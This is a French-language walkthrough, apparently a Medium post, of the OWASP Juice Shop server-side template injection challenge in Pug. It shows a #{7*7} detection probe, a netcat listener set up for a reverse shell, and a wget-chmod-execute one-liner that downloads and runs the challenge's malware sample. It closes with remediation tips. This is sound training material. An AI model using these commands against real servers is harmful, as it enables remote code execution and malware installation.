← Back to list

Server-Side Template Injection (SSTI) : Owasp Juice Shop

Challenge : SSTI

4th3n4x · 2025-09-26 09:43 · 0 claps · 2.4 min read
#ssti #cybersecurity #owasp #owasp-juice-shop #pug
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

Server-Side Template Injection (SSTI) : Owasp Juice Shop

Challenge : SSTI

Infectez le serveur avec un malware juteux en abusant de l’exécution arbitraire de commandes.

Analyse

Une Server-Side Template Injection (SSTI) est une vulnérabilité qui permet à un attaquant d’injecter du code dans un moteur de template côté serveur, pouvant potentiellement conduire à une Remote Code Execution (RCE).

Après avoir consulté le dépôt GitHub, nous pouvons identifier le moteur de template utilisé : Pug.

Pug

Pug

Pour confirmer la vulnérabilité, nous pouvons nous référer à cette ressource :

[embed]SSTI in PUG SSTI in Pug | Server Side Template Injection in Pug Template Engine | RCE (Remote Code Execution) | Template Engine…www.hackingloops.com

7*7

77*

Pour tester, nous injectons #{7*7} dans un champ de saisie. Si la multiplication est évaluée et que nous obtenons le résultat 49, cela confirme la vulnérabilité SSTI.

Exploitation :

  1. Remote code exécution

Cette vulnérabilité nous permet d’exécuter des commandes arbitraires sur le serveur. En premier lieu, nous allons chercher à obtenir un reverse shell.

Tout d’abord, nous lançons un listeneur netcat sur le port 4444.

nc -lnvp 4444

Nous pouvons maintenant remplir le champ username avec notre payload :

RCE

RCE

Avec la commande whoami, nous remarquons que nous sommes l’utilisateur _juice.

  1. Résolution du challenge

Pour rappel, nous devons exécuter le malware juicy sur le serveur.

[embed]juicy-malware/juicy_malware_linux_amd_64 at master · juice-shop/juicy-malware Contribute to juice-shop/juicy-malware development by creating an account on GitHub.github.com

Pour savoir ce qu’il fait, nous allons l’exécuter sur une VM dédiée.

Il attend une liaison sur localhost:3000.

Un listeneur est donc mis en écoute sur le port 3000.

Nous pouvons utiliser ce payload dans le champ utilisateur pour télécharger le malware, changer ses droits, et l’exécuter :

wget -O /tmp/malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_amd_64?raw=true && chmod +x /tmp/malware && /tmp/malware

nc

nc

En allant à cet endpoint, le challenge est résolu.

Remédiations :

  • Désactiver l’exécution de code arbitraire dans les templates côté serveur.
  • Sanitiser toutes les entrées utilisateurs avant de les passer au moteur de template.
  • Limiter les permissions des utilisateurs applicatifs pour réduire l’impact d’une RCE.
  • Surveiller et filtrer les téléchargements et exécutions de fichiers externes.

메타데이터
post_id
5dd2c3b8b009
slug
server-side-template-injection-ssti-owasp-juice-shop-5dd2c3b8b009
url
https://medium.com/@4th3n4x/server-side-template-injection-ssti-owasp-juice-shop-5dd2c3b8b009
canonical_url
https://medium.com/@4th3n4x/server-side-template-injection-ssti-owasp-juice-shop-5dd2c3b8b009
author_url
https://medium.com/@4th3n4x
status
ok
fetched_at
2026-06-16 19:09:56